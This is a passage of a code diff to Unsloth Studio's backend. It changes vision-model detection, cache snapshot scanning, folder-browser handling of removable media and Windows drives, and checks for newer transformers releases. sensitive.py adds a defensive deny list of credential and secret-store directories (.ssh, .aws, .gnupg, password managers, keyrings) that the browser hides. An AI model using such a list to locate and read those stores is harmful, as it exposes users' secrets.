+        for _attr in ("MODEL_FOR_IMAGE_TEXT_TO_TEXT_MAPPING_NAMES",
+                      "MODEL_FOR_VISION_2_SEQ_MAPPING_NAMES"):
+            _d = dict(getattr(_ma, _attr, None) or {})
+            _VLM_MODEL_TYPES |= set(_d)
+            _VLM_CLASS_NAMES |= set(_d.values())
+        for _attr in ("MODEL_FOR_CTC_MAPPING_NAMES",
+                      "MODEL_FOR_SPEECH_SEQ_2_SEQ_MAPPING_NAMES",
+                      "MODEL_FOR_AUDIO_CLASSIFICATION_MAPPING_NAMES",
+                      "MODEL_FOR_TEXT_TO_WAVEFORM_MAPPING_NAMES",
+                      "MODEL_FOR_TEXT_TO_SPECTROGRAM_MAPPING_NAMES",
+                      "MODEL_FOR_AUDIO_XVECTOR_MAPPING_NAMES"):
+            _AUDIO_ONLY_MODEL_TYPES |= set(dict(getattr(_ma, _attr, None) or {}))
+    except Exception:
+        pass
+
     # Capability detection never executes model repo code.
     kwargs = {"trust_remote_code": False}
     if token:
@@ -727,13 +746,23 @@ def _is_vision_model_subprocess(model_name: str, hf_token: Optional[str] = None)
     """
     token_arg = hf_token or ""
 
+    # Latest-only architectures need the latest sidecar for AutoConfig;
+    # other tiers keep the 5.5 sidecar.
+    sidecar_dir = _VENV_T5_DIR
+    try:
+        from utils.transformers_version import _VENV_T5_LATEST_DIR, get_transformers_tier
+        if get_transformers_tier(model_name, hf_token, probe = False) == "latest":
+            sidecar_dir = _VENV_T5_LATEST_DIR
+    except Exception:
+        pass
+
     try:
         result = subprocess.run(
             [
                 sys.executable,
                 "-c",
                 _VISION_CHECK_SCRIPT,
-                _VENV_T5_DIR,
+                sidecar_dir,
                 _BACKEND_DIR,
                 model_name,
                 token_arg,
@@ -876,6 +905,17 @@ def _is_vision_model_uncached(
         model_name, hf_token = hf_token, local_files_only = local_files_only
     )
     if raw is not None:
+        if raw is False and not local_files_only:
+            # Raw heuristics predate latest-only architectures; on the latest tier,
+            # trust that sidecar's AutoConfig probe over the heuristic False. An
+            # inconclusive probe (sidecar mid-repair, timeout) is transient: return
+            # None so the heuristic False is not cached and the model is re-probed.
+            try:
+                from utils.transformers_version import get_transformers_tier
+                if get_transformers_tier(model_name, hf_token, probe = False) == "latest":
+                    return _is_vision_model_subprocess(model_name, hf_token = hf_token)
+            except Exception:
+                pass
         return raw
 
     # Raw read failed transiently: fall back to AutoConfig (remote code DISABLED), via a
@@ -1617,36 +1657,60 @@ def _iter_hf_cache_snapshots(repo_id: str):
 
     cache_dir = Path(hf_constants.HF_HUB_CACHE)
     target = f"models--{repo_id.replace('/', '--')}".lower()
-    repo_dir: Optional[Path] = None
+    repo_dirs: list[Path] = []
     try:
         if not cache_dir.is_dir():
             return
         for entry in cache_dir.iterdir():
             if entry.is_dir() and entry.name.lower() == target:
-                repo_dir = entry
-                break
+                repo_dirs.append(entry)
     except OSError:
         return
-    if repo_dir is None:
+    if not repo_dirs:
         return
 
-    snapshots = repo_dir / "snapshots"
-    try:
-        if not snapshots.is_dir():
-            return
-        snap_dirs = [s for s in snapshots.iterdir() if s.is_dir()]
-    except OSError:
+    snap_dirs: list[Path] = []
+    for repo_dir in repo_dirs:
+        snapshots = repo_dir / "snapshots"
+        try:
+            if snapshots.is_dir():
+                for snap_dir in snapshots.iterdir():
+                    try:
+                        if snap_dir.is_dir():
+                            snap_dirs.append(snap_dir)
+                    except OSError:
+                        continue
+        except OSError:
+            continue
+    if not snap_dirs:
         return
-    snap_dirs.sort(key = lambda s: s.stat().st_mtime, reverse = True)
-    yield from snap_dirs
+    snap_dirs_with_mtime = []
+    for snap_dir in snap_dirs:
+        try:
+            snap_dirs_with_mtime.append((snap_dir.stat().st_mtime, snap_dir))
+        except OSError:
+            continue
+    snap_dirs_with_mtime.sort(key = lambda item: item[0], reverse = True)
+    yield from (snap_dir for _, snap_dir in snap_dirs_with_mtime)
 
 
 def _list_gguf_variants_from_hf_cache(repo_id: str) -> Optional[tuple[list[GgufVariantInfo], bool]]:
-    """Variants from the local HF cache snapshot, or None if not cached."""
+    """Variants from the local HF cache snapshot, or None if not cached.
+
+    A newer snapshot can hold only a companion file (for example a vision
+    projector fetched on demand) while the quant files live in an older
+    snapshot. Returning the first snapshot that merely reports a vision flag
+    would shadow those real variants, so keep scanning older snapshots for
+    actual variants and carry the vision flag across snapshots.
+    """
+    any_vision = False
     for snap in _iter_hf_cache_snapshots(repo_id):
         variants, has_vision = list_local_gguf_variants(str(snap))
-        if variants or has_vision:
-            return variants, has_vision
+        any_vision = any_vision or has_vision
+        if variants:
+            return variants, any_vision
+    if any_vision:
+        return [], True
     return None
 
 
diff --git a/studio/backend/utils/paths/external_media.py b/studio/backend/utils/paths/external_media.py
new file mode 100644
index 0000000000..0ea0477cc7
--- /dev/null
+++ b/studio/backend/utils/paths/external_media.py
@@ -0,0 +1,229 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""External media path helpers."""
+
+from __future__ import annotations
+
+import getpass
+import os
+import platform
+import string
+import threading
+import time
+from collections.abc import Iterable
+from pathlib import Path
+
+from utils.paths.sensitive import (
+    contains_sensitive_path_component,
+    is_sensitive_path_component,
+)
+
+
+def is_local_filesystem_root(path: str, *, _pathmod = os.path) -> bool:
+    """True for a bare local filesystem root -- POSIX ``/``, a drive root ``C:\\``,
+    or a device-namespace volume root like ``\\\\?\\C:\\`` or
+    ``\\\\?\\Volume{GUID}\\`` -- which sit above denied system dirs, but NOT a UNC
+    share root (``\\\\server\\share`` or its ``\\\\?\\UNC\\...`` form), which has
+    none under it and was registerable before this guard. ``splitdrive`` is empty
+    on POSIX servers, so this reduces to the plain ``dirname == self`` test there.
+    ``_pathmod`` lets tests drive ``ntpath`` semantics on a POSIX CI.
+    """
+    # Resolve the Windows device / extended-length namespace, where \\?\C:\,
+    # \\.\C:\ and \\?\Volume{GUID}\ are all bare LOCAL volume roots (rejected)
+    # while only \\?\UNC\server\share is a UNC share (handled like \\server\share).
+    if path[:4].lower() in ("\\\\?\\", "\\\\.\\"):
+        rest = path[4:]
+        if rest[:4].lower() == "unc\\":
+            path = "\\\\" + rest[4:]
+        else:
+            # A device volume root is just the volume specifier (C:, Volume{GUID})
+            # with no further component; a deeper path is an ordinary folder.
+            core = rest.rstrip("\\/")
+            return "\\" not in core and "/" not in core
+    if _pathmod.dirname(path) != path:
+        return False
+    drive, _ = _pathmod.splitdrive(path)
+    return drive[:2] not in ("\\\\", "//")
+
+
+def _is_linux_media_mount_path(path: str, media_root: Path | str) -> bool:
+    normalized = os.path.normpath(os.path.realpath(os.path.expanduser(path)))
+    root = os.path.normpath(os.path.realpath(os.path.expanduser(str(media_root))))
+    try:
+        rel = os.path.relpath(normalized, root)
+    except ValueError:
+        return False
+    if rel == "." or rel == ".." or rel.startswith(f"..{os.sep}"):
+        return False
+    parts = [part for part in rel.split(os.sep) if part]
+    return len(parts) >= 2 and all(part not in (".", "..") for part in parts[:2])
+
+
+def is_linux_run_media_path(path: str) -> bool:
+    """True for Linux removable-media paths under /run/media/<user>/<volume>."""
+    if platform.system() != "Linux":
+        return False
+    return _is_linux_media_mount_path(path, "/run/media")
+
+
+def _current_username() -> str | None:
+    try:
+        user = getpass.getuser().strip()
+    except Exception:
+        return None
+    return user or None
+
+
+def _contains_sensitive_media_component(path: Path, media_root: Path) -> bool:
+    try:
+        rel = path.relative_to(media_root)
+    except ValueError:
+        rel = path
+    return contains_sensitive_path_component(str(rel))
+
+
+def linux_run_media_mount_roots(
+    base: Path | str = "/run/media", *, user: str | None = None
+) -> list[Path]:
+    """Readable /run/media/<user>/<volume> roots for the folder browser."""
+    if platform.system() != "Linux":
+        return []
+    user = user or _current_username()
+    if not user or user in (".", "..") or os.sep in user:
+        return []
+    base_path = Path(base)
+    try:
+        resolved_base = base_path.resolve()
+    except (OSError, RuntimeError, ValueError):
+        return []
+
+    roots: list[Path] = []
+    seen: set[str] = set()
+    user_dir = base_path / user
+    try:
+        if not user_dir.is_dir():
+            return []
+        volume_dirs = list(user_dir.iterdir())
+    except (OSError, RuntimeError, ValueError):
+        return []
+    for volume_dir in volume_dirs:
+        if is_sensitive_path_component(volume_dir.name):
+            continue
+        try:
+            resolved = volume_dir.resolve()
+        except (OSError, RuntimeError, ValueError):
+            continue
+        if not _is_linux_media_mount_path(str(resolved), resolved_base):
+            continue
+        if _contains_sensitive_media_component(resolved, resolved_base):
+            continue
+        key = os.path.normcase(os.path.realpath(str(resolved)))
+        if key in seen:
+            continue
+        try:
+            is_dir = resolved.is_dir()
+        except OSError:
+            continue
+        if is_dir and os.access(resolved, os.R_OK | os.X_OK):
+            seen.add(key)
+            roots.append(resolved)
+    return roots
+
+
+def _active_windows_drive_bitmask() -> int:
+    """Active-logical-drive bitmask from ``GetLogicalDrives`` (bit 0 = ``A:``), or ``0`` when unavailable.
+
+    A fast non-blocking call that lets :func:`windows_drive_roots` skip the
+    ``os.path.isdir`` probe on unmapped letters. A disconnected network mapping
+    stays set here, so it does not guard the reconnect stall on its own;
+    :func:`windows_drive_roots` bounds each surviving probe too. Returns ``0``
+    (probe every letter) when ctypes/``windll`` is missing.
+    """
+    try:
+        import ctypes
+        return int(ctypes.windll.kernel32.GetLogicalDrives())
+    except Exception:  # noqa: BLE001 -- best-effort; fall back to probing all letters
+        return 0
+
+
+# A disconnected mapped drive stays set in the GetLogicalDrives bitmask, so
+# ``os.path.isdir`` on it can block for tens of seconds. Bound each drive probe
+# so one stale mapping cannot stall a whole folder-browser request.
+_DRIVE_PROBE_TIMEOUT_S = 2.0
+
+
+def _readable_dirs_within(paths: Iterable[str], timeout: float) -> set[str]:
+    """Which of *paths* are readable directories, probed concurrently under one overall *timeout* (seconds).
+
+    Each path is checked (``os.path.isdir`` + ``os.access(R_OK)``) in its own
+    daemon thread and the call waits at most *timeout* total, not per path, so N
+    stalled network drives add ~timeout instead of N*timeout. A path not
+    answering ``True`` by the deadline is treated as unreadable. The daemon
+    threads are never joined past the deadline, so a stuck OS call cannot delay
+    interpreter exit or block the caller (``os.path.isdir`` releases the GIL).
+    """
+    paths = list(paths)  # fixed input we can iterate twice; one probe per path
+    results: dict[str, bool] = {}
+
+    def _probe(path: str) -> None:
+        try:
+            results[path] = os.path.isdir(path) and os.access(path, os.R_OK)
+        except OSError:
+            results[path] = False
+
+    threads: list[threading.Thread] = []
+    for path in paths:
+        thread = threading.Thread(target = _probe, args = (path,), daemon = True)
+        thread.start()
+        threads.append(thread)
+
+    deadline = time.monotonic() + timeout
+    for thread in threads:
+        thread.join(max(0.0, deadline - time.monotonic()))
+
+    # Iterate the fixed input, not results.items(): a probe that timed out is
+    # still alive and may insert its key here, which would raise "dictionary
+    # changed size during iteration". results.get() is an atomic read.
+    return {path for path in paths if results.get(path)}
+
+
+def _readable_dir_within(path: str, timeout: float) -> bool:
+    """``os.path.isdir(path) and os.access(path, R_OK)``, bounded by *timeout* seconds; single-path wrapper over :func:`_readable_dirs_within`."""
+    return path in _readable_dirs_within((path,), timeout)
+
+
+def windows_drive_roots(drive_letters: Iterable[str] = string.ascii_uppercase) -> list[Path]:
+    """Readable logical drive roots (``C:\\``, ``D:\\`` ...) for the folder browser; the Windows analog of :func:`linux_run_media_mount_roots`.
+
+    Without it the allowlist and chips only reach the home drive, so a user
+    cannot navigate from ``C:`` to ``D:``/``E:``. ``GetLogicalDrives`` drops
+    unmapped letters; the rest are probed concurrently under a single timeout
+    and kept only if readable in time. A disconnected mapped drive stays active
+    in the bitmask and its ``os.path.isdir`` can hang for tens of seconds, so
+    parallel probing bounds the added delay at ~one timeout rather than one per
+    drive. Returns ``[]`` off Windows.
+    """
+    if platform.system() != "Windows":
+        return []
+
+    active_mask = _active_windows_drive_bitmask()
+    candidates: list[str] = []
+    seen: set[str] = set()
+    for letter in drive_letters:
+        letter = letter.strip().rstrip(":").upper()
+        if len(letter) != 1 or letter not in string.ascii_uppercase:
+            continue
+        if active_mask and not active_mask & (1 << (ord(letter) - ord("A"))):
+            continue
+        root_text = f"{letter}:\\"
+        key = os.path.normcase(root_text)
+        if key in seen:
+            continue
+        seen.add(key)
+        candidates.append(root_text)
+
+    # Bounded concurrent probe: an active bitmask bit can still be a
+    # disconnected mapping whose os.path.isdir blocks, so probe all at once.
+    readable = _readable_dirs_within(candidates, _DRIVE_PROBE_TIMEOUT_S)
+    return [Path(root_text) for root_text in candidates if root_text in readable]
diff --git a/studio/backend/utils/paths/sensitive.py b/studio/backend/utils/paths/sensitive.py
new file mode 100644
index 0000000000..7d32a5f4cf
--- /dev/null
+++ b/studio/backend/utils/paths/sensitive.py
@@ -0,0 +1,46 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Shared sensitive path-component policy."""
+
+from __future__ import annotations
+
+import os
+
+
+SENSITIVE_PATH_COMPONENTS = {
+    ".aws",
+    ".azure",
+    ".config",
+    ".docker",
+    ".gcloud",
+    ".gnupg",
+    ".huggingface",
+    ".kaggle",
+    ".kube",
+    ".modelscope",
+    ".ngc",
+    ".local",
+    ".mozilla",
+    ".pki",
+    ".thunderbird",
+    ".ssh",
+    ".1password",
+    ".bitwarden",
+    ".password-store",
+    "1password",
+    "bitwarden",
+    "keychains",
+    "keyrings",
+    "mozilla",
+    "thunderbird",
+}
+
+
+def is_sensitive_path_component(name: str) -> bool:
+    return name.lower() in SENSITIVE_PATH_COMPONENTS
+
+
+def contains_sensitive_path_component(path: str) -> bool:
+    parts = os.path.normpath(path).split(os.sep)
+    return any(is_sensitive_path_component(part) for part in parts)
diff --git a/studio/backend/utils/transformers_dtype.py b/studio/backend/utils/transformers_dtype.py
new file mode 100644
index 0000000000..daeb6e2452
--- /dev/null
+++ b/studio/backend/utils/transformers_dtype.py
@@ -0,0 +1,51 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Version-safe fp-dtype kwarg for transformers/sentence-transformers loads.
+
+transformers renamed the ``torch_dtype`` kwarg to ``dtype`` in 4.56.0, and emits
+``torch_dtype is deprecated! Use dtype instead!`` when the old name is passed. But our floor (``transformers>=4.51.3``) predates ``dtype`` and only
+accepts ``torch_dtype``, so a bare rename would ``TypeError`` on the floor. Pick
+the name the installed version accepts instead.
+
+Answers the same question as ``unsloth_zoo.hf_utils.HAS_TORCH_DTYPE`` but derives
+it independently, for two reasons. It uses a ``packaging.version`` check rather
+than that constant's ``"torch_dtype" in PretrainedConfig.__doc__`` sniffing, which
+raises ``TypeError`` under ``python -OO`` / ``PYTHONOPTIMIZE=2`` (docstrings are
+stripped to ``None``, and ``"torch_dtype" in None`` is a type error). And it avoids
+importing the constant at all: the RAG
+embedder warms here at startup in the lean main process, and reading it would run
+``unsloth_zoo``'s package ``__init__`` (torch import, GPU/Pytorch checks, the
+patching banner) as a side effect. The embedder is deliberately torch-optional (it
+degrades to the ``llama-server`` GGUF backend), so it must not drag in that
+heavyweight import just to read one bool.
+"""
+
+from functools import lru_cache
+
+
+@lru_cache(maxsize = 1)
+def _has_torch_dtype_kwarg() -> bool:
+    """True if the installed transformers still expects the legacy ``torch_dtype``
+    name (i.e. predates the ``dtype`` rename). False when ``dtype`` is the accepted
+    name, or when transformers is missing/broken (prefer the modern name)."""
+    try:
+        import transformers
+        from packaging.version import Version
+
+        # Compare on the release tuple so a pre-release of the rename version
+        # (``4.56.0.dev0``/``rc1``, which sort *below* ``4.56.0``) still counts as
+        # new and picks ``dtype`` -- those builds already accept it, and picking
+        # ``torch_dtype`` there would re-emit the very warning this suppresses.
+        return Version(transformers.__version__).release < (4, 56, 0)
+    except Exception:
+        return False
+
+
+def dtype_kwargs(value) -> dict:
+    """``{"torch_dtype": value}`` on old transformers, ``{"dtype": value}`` on new.
+
+    Splat into a load call (``pipeline(..., **dtype_kwargs(torch.float16))``) or use
+    directly as ``model_kwargs`` (``model_kwargs = dtype_kwargs("float16")``).
+    """
+    return {"torch_dtype" if _has_torch_dtype_kwarg() else "dtype": value}
diff --git a/studio/backend/utils/transformers_latest.py b/studio/backend/utils/transformers_latest.py
new file mode 100644
index 0000000000..40c8f729a5
--- /dev/null
+++ b/studio/backend/utils/transformers_latest.py
@@ -0,0 +1,607 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Latest-transformers support check for brand-new model architectures.
+
+When a model's ``model_type`` is absent from every installed transformers overlay
+(base 4.57.x plus the .venv_t5_530/550/510 sidecars and, if provisioned, .venv_t5_latest),
+Studio cannot load it today. This module answers, without authentication, code execution,
+or trust_remote_code:
+
+  1. Does the LATEST transformers release on PyPI ship this ``model_type``?
+  2. Does transformers ``main`` on GitHub ship it (dev-only, not yet installable)?
+
+Sources (all unauthenticated; raw.githubusercontent.com is not API rate-limited and
+api.github.com is deliberately never used):
+  - https://pypi.org/pypi/transformers/json                       -> latest release version
+  - https://raw.githubusercontent.com/huggingface/transformers/{ref}/src/transformers/
+        models/auto/configuration_auto.py + auto_mappings.py      -> CONFIG_MAPPING_NAMES
+
+The fetched sources are parsed with the same AST extractor the static router uses
+(:func:`utils.transformers_version._model_types_from_source`), so the remote answer is
+computed exactly like the local overlay answer.
+
+Results are cached in memory and in a small JSON snapshot under ``studio_root()/cache``
+(ttl ~1 day) so repeated tier resolutions never re-fetch; failures are backed off in
+memory. Every fetch is bounded (<=5s, one retry), so a hung network cannot block model
+loading. Fully offline-safe: offline env vars or the kill switch
+``UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS=1`` make every check return None (current
+behavior preserved).
+
+The consented install path (:func:`install_latest_transformers`) provisions the
+persistent ``.venv_t5_latest`` sidecar via
+:func:`utils.transformers_version.ensure_latest_transformers_venv`.
+"""
+
+import json
+import os
+import threading
+import time
+from pathlib import Path
+
+from loggers import get_logger
+from utils.paths.storage_roots import studio_root as _studio_root
+from utils.transformers_version import (
+    _env_offline,
+    _load_config_json,
+    _model_types_from_source,
+    _tier_from_config_mapping,
+    _config_model_types,
+    _NESTED_CONFIG_KEYS,
+    _TIER_RANK,
+    _model_types_from_config,
+    _TRANSFORMERS_510_MODEL_TYPES,
+    _TRANSFORMERS_530_MODEL_TYPES,
+    _TRANSFORMERS_550_MODEL_TYPES,
+    ensure_latest_transformers_venv,
+    latest_venv_pinned_version,
+)
+
+logger = get_logger(__name__)
+
+_PYPI_JSON_URL = "https://pypi.org/pypi/transformers/json"
+_RAW_URL = (
+    "https://raw.githubusercontent.com/huggingface/transformers/{ref}"
+    "/src/transformers/models/auto/{name}"
+)
+_AUTO_FILES = ("configuration_auto.py", "auto_mappings.py")
+
+_FETCH_TIMEOUT_SECONDS = 5.0
+_FETCH_RETRIES = 1
+_CACHE_TTL_SECONDS = 24 * 60 * 60
+_FAILURE_BACKOFF_SECONDS = 300
+
+_CACHE_FILE_NAME = "transformers_latest_check.json"
+_SNAPSHOT_SCHEMA = 1
+
+# Snapshot: {"schema", "fetched_at", "pypi_version", "pypi_model_types", "main_model_types"}.
+# Install-in-progress state lives in utils.transformers_version (the sidecar swap reservation).
+_lock = threading.Lock()
+_memory_snapshot: dict | None = None
+_last_failure_at: float = 0.0
+_is_fetching: bool = False
+
+_TRUE_VALUES = {"1", "true", "yes", "on"}
+
+
+def _disabled() -> bool:
+    """True if the operator disabled the latest-transformers check entirely."""
+    return (
+        os.environ.get("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", "").strip().lower() in _TRUE_VALUES
+    )
+
+
+def _cache_file() -> Path:
+    return _studio_root() / "cache" / _CACHE_FILE_NAME
+
+
+# Sentinel for HTTP 404 (absent at ref), distinct from transient failures.
+_FETCH_MISSING = "__unsloth_fetch_missing__"
+
+
+def _fetch_text(url: str) -> str | None:
+    """GET *url* with a bounded timeout and one retry; None on any failure.
+
+    Returns ``_FETCH_MISSING`` (without retrying) on HTTP 404 so callers can tell
+    "absent at this ref" apart from "network flaked".
+    """
+    import urllib.error
+    import urllib.request
+
+    for attempt in range(1 + _FETCH_RETRIES):
+        try:
+            req = urllib.request.Request(url, headers = {"User-Agent": "unsloth-studio"})
+            with urllib.request.urlopen(req, timeout = _FETCH_TIMEOUT_SECONDS) as resp:
+                return resp.read().decode("utf-8", "replace")
+        except urllib.error.HTTPError as exc:
+            if exc.code == 404:
+                return _FETCH_MISSING
+            logger.debug("Fetch failed (attempt %d) for %s: %s", attempt + 1, url, exc)
+        except Exception as exc:
+            logger.debug("Fetch failed (attempt %d) for %s: %s", attempt + 1, url, exc)
+    return None
+
+
+def _fetch_latest_pypi_version() -> str | None:
+    """Latest transformers release version from PyPI's unauthenticated JSON API."""
+    body = _fetch_text(_PYPI_JSON_URL)
+    if body is None or body == _FETCH_MISSING:
+        return None
+    try:
+        version = json.loads(body).get("info", {}).get("version")
+    except Exception as exc:
+        logger.debug("Could not parse PyPI JSON: %s", exc)
+        return None
+    return version if isinstance(version, str) and version else None
+
+
+def _fetch_remote_model_types(ref: str) -> frozenset[str] | None:
+    """CONFIG_MAPPING_NAMES keys at *ref* (a release tag like ``v5.12.0`` or ``main``).
+
+    Fetches configuration_auto.py plus auto_mappings.py (the 5.10+ split) from
+    raw.githubusercontent.com and parses them with the shared AST extractor. A file
+    that 404s (auto_mappings.py on pre-5.10 tags) is skipped, but a transient fetch
+    or parse failure of EITHER file fails the whole lookup: most model types live in
+    auto_mappings.py on current releases, so a partial map cached for the TTL would
+    make /validate skip the upgrade prompt for architectures the release does ship.
+    An empty result is likewise a failure so it is never cached as "supports nothing".
+    """
+    keys: set[str] = set()
+    fetched_any = False
+    for name in _AUTO_FILES:
+        source = _fetch_text(_RAW_URL.format(ref = ref, name = name))
+        if source is None:
+            return None
+        if source == _FETCH_MISSING:
+            continue
+        fetched_any = True
+        try:
+            keys |= _model_types_from_source(source)
+        except Exception as exc:
+            logger.debug("Could not parse %s at %s: %s", name, ref, exc)
+            return None
+    if not fetched_any or not keys:
+        return None
+    return frozenset(keys)
+
+
+def _load_snapshot_file() -> dict | None:
+    """Persisted snapshot from disk, or None (missing/corrupt/old schema)."""
+    try:
+        with open(_cache_file(), encoding = "utf-8") as f:
+            data = json.load(f)
+    except Exception:
+        return None
+    if not isinstance(data, dict) or data.get("schema") != _SNAPSHOT_SCHEMA:
+        return None
+    if not isinstance(data.get("fetched_at"), (int, float)):
+        return None
+    if not isinstance(data.get("pypi_version"), str):
+        return None
+    for key in ("pypi_model_types", "main_model_types"):
+        value = data.get(key)
+        if not isinstance(value, list) or not all(isinstance(v, str) for v in value):
+            return None
+    return data
+
+
+def _save_snapshot_file(snapshot: dict) -> None:
+    """Atomic best-effort write (tmp + os.replace, Windows-safe); failures only log."""
+    path = _cache_file()
+    tmp = path.with_name(path.name + ".tmp")
+    try:
+        path.parent.mkdir(parents = True, exist_ok = True)
+        tmp.write_text(json.dumps(snapshot), encoding = "utf-8")
+        os.replace(tmp, path)
+    except Exception as exc:
+        logger.debug("Could not persist %s: %s", path, exc)
+        try:
+            tmp.unlink(missing_ok = True)
+        except Exception:
+            pass
+
+
+def _snapshot_is_fresh(snapshot: dict | None) -> bool:
+    return (
+        snapshot is not None
+        and (time.time() - float(snapshot.get("fetched_at", 0))) < _CACHE_TTL_SECONDS
+    )
+
+
+def _refresh_snapshot() -> dict | None:
+    """Fetch a fresh snapshot from PyPI + raw.githubusercontent.com; None on failure.
+
+    The PyPI version and its tagged mapping are required; the ``main`` mapping is
+    best-effort (recorded as an empty list plus ``main_checked=False`` when unavailable,
+    so a dev-only architecture is reported as "unknown" rather than "unsupported").
+    """
+    version = _fetch_latest_pypi_version()
+    if version is None:
+        return None
+    pypi_types = _fetch_remote_model_types(f"v{version}")
+    if pypi_types is None:
+        return None
+    main_types = _fetch_remote_model_types("main")
+    return {
+        "schema": _SNAPSHOT_SCHEMA,
+        "fetched_at": time.time(),
+        "pypi_version": version,
+        "pypi_model_types": sorted(pypi_types),
+        "main_model_types": sorted(main_types) if main_types is not None else [],
+        "main_checked": main_types is not None,
+    }
+
+
+def _get_snapshot() -> dict | None:
+    """Current support snapshot: memory -> disk -> network, with TTL and failure backoff.
+
+    The network refresh runs outside the lock so a slow fetch cannot stall other
+    threads in the ASGI pool; _is_fetching deduplicates concurrent refreshes
+    (losers return None, the graceful fallthrough, rather than waiting).
+    """
+    global _memory_snapshot, _last_failure_at, _is_fetching
+    with _lock:
+        if _snapshot_is_fresh(_memory_snapshot):
+            return _memory_snapshot
+        disk = _load_snapshot_file()
+        if _snapshot_is_fresh(disk):
+            _memory_snapshot = disk
+            return disk
+        if _disabled() or _env_offline():
+            return None
+        if time.time() - _last_failure_at < _FAILURE_BACKOFF_SECONDS:
+            return None
+        if _is_fetching:
+            return None
+        _is_fetching = True
+    fresh = None
+    try:
+        fresh = _refresh_snapshot()
+    finally:
+        with _lock:
+            _is_fetching = False
+            if fresh is None:
+                _last_failure_at = time.time()
+            else:
+                _memory_snapshot = fresh
+    if fresh is None:
+        # A stale positive could offer a version PyPI no longer serves; be strict.
+        return None
+    _save_snapshot_file(fresh)
+    return fresh
+
+
+def clear_caches() -> None:
+    """Test helper: drop the in-memory snapshot, failure backoff, and busy flags."""
+    global _memory_snapshot, _last_failure_at, _is_fetching
+    with _lock:
+        _memory_snapshot = None
+        _last_failure_at = 0.0
+        _is_fetching = False
+    from utils.transformers_version import end_sidecar_swap
+
+    end_sidecar_swap()
+
+
+def latest_transformers_supports(model_type: str) -> dict | None:
+    """Whether the newest transformers (PyPI release and/or GitHub main) ships *model_type*.
+
+    Returns ``{"pypi_version": str, "supported_in_pypi": bool, "supported_in_main": bool}``
+    or None when the answer is unavailable (offline, kill switch, network failure) — the
+    caller must then fall through to current behavior. Cached (memory + JSON snapshot on
+    disk, ttl ~1 day) so repeated tier resolutions never re-fetch.
+    """
+    if not isinstance(model_type, str) or not model_type:
+        return None
+    if _disabled() or _env_offline():
+        return None
+    snapshot = _get_snapshot()
+    if snapshot is None:
+        return None
+    return {
+        "pypi_version": snapshot["pypi_version"],
+        "supported_in_pypi": model_type in set(snapshot["pypi_model_types"]),
+        "supported_in_main": model_type in set(snapshot["main_model_types"]),
+    }
+
+
+# model_types the hardcoded tier tables already route; never remote-check these.
+def _hardcoded_model_types() -> frozenset[str]:
+    return frozenset(
+        _TRANSFORMERS_530_MODEL_TYPES
+        | _TRANSFORMERS_550_MODEL_TYPES
+        | _TRANSFORMERS_510_MODEL_TYPES
+    )
+
+
+def check_upgrade_for_model(model_name: str, hf_token: str | None = None) -> dict | None:
+    """Upgrade signal for *model_name*, or None when current routing already handles it.
+
+    The tier hook for the pre-load ``/validate`` path: fires ONLY when the model's
+    ``model_type`` is absent from every installed overlay (and from the hardcoded tier
+    tables), i.e. exactly when today's load would fail with an unrecognized-architecture
+    error. Returns ``{"model_type", "pypi_version", "supported_in_pypi",
+    "supported_in_main"}`` when the newest transformers knows the type, else None.
+
+    Never raises; every network touch is bounded and cached. Offline or with the
+    ``UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS`` kill switch it returns None immediately.
+    """
+    try:
+        if _disabled() or _env_offline():
+            return None
+        cfg = _load_config_json(model_name, hf_token)
+        if not isinstance(cfg, dict):
+            return None
+        candidates = _model_types_from_config(cfg)
+        if not candidates:
+            return None
+        # Without a readable base mapping every type looks brand new; bail out.
+        if not _config_model_types("default"):
+            return None
+        hardcoded = _hardcoded_model_types()
+        missing = [
+            candidate
+            for candidate in candidates
+            if candidate not in hardcoded
+            and not any(candidate in _config_model_types(tier) for tier in _TIER_RANK)
+        ]
+        if not missing:
+            return None
+        # Latest must load EVERY missing type (wrappers build nested sub-configs
+        # through CONFIG_MAPPING) or the load still fails.
+        supports = [latest_transformers_supports(candidate) for candidate in missing]
+        if any(
+            s is None or not (s["supported_in_pypi"] or s["supported_in_main"]) for s in supports
+        ):
+            return None
+        # Offer the PyPI install only if the release ships every missing type; a
+        # main-only type in the mix surfaces as dev-only.
+        model_type = missing[0]
+        supported_in_pypi = all(s["supported_in_pypi"] for s in supports)
+        supported_in_main = all(s["supported_in_pypi"] or s["supported_in_main"] for s in supports)
+        logger.info(
+            "Model %s has model_type=%s unknown to every installed transformers "
+            "(latest PyPI %s: %s, main: %s)",
+            model_name,
+            model_type,
+            supports[0]["pypi_version"],
+            "supported" if supported_in_pypi else "unsupported",
+            "supported" if supported_in_main else "unsupported",
+        )
+        return {
+            "model_type": model_type,
+            "pypi_version": supports[0]["pypi_version"],
+            "supported_in_pypi": supported_in_pypi,
+            "supported_in_main": supported_in_main,
+        }
+    except Exception as exc:
+        logger.debug("Latest-transformers check failed for '%s': %s", model_name, exc)
+        return None
+
+
+# --- Dependency compatibility preflight ------------------------------------------------------
+# Sidecars install transformers --no-deps atop the base env. Before installing, compare
+# requires_dist: unsatisfied shadowable deps become exact --target pins, anything else blocks.
+
+# Safe to shadow inside the sidecar dir (pure wheels, no torch coupling).
+_SHADOWABLE_DEPS = frozenset({"tokenizers", "safetensors"})
+# Provided by the sidecar recipe; checked against its pin, not the base env.
+_SIDECAR_PROVIDED = {"huggingface-hub": "1.8.0", "hf-xet": "1.4.2"}
+# CLI-only; never imported at runtime in Studio's workers.
+_IGNORED_DEPS = frozenset({"typer"})
+
+
+def _canonical_dep_name(name: str) -> str:
+    return name.lower().replace("_", "-")
+
+
+def _fetch_requires_dist(version: str) -> list[str] | None:
+    """Core (marker-free, non-extra) requires_dist of transformers *version* from PyPI."""
+    body = _fetch_text(f"https://pypi.org/pypi/transformers/{version}/json")
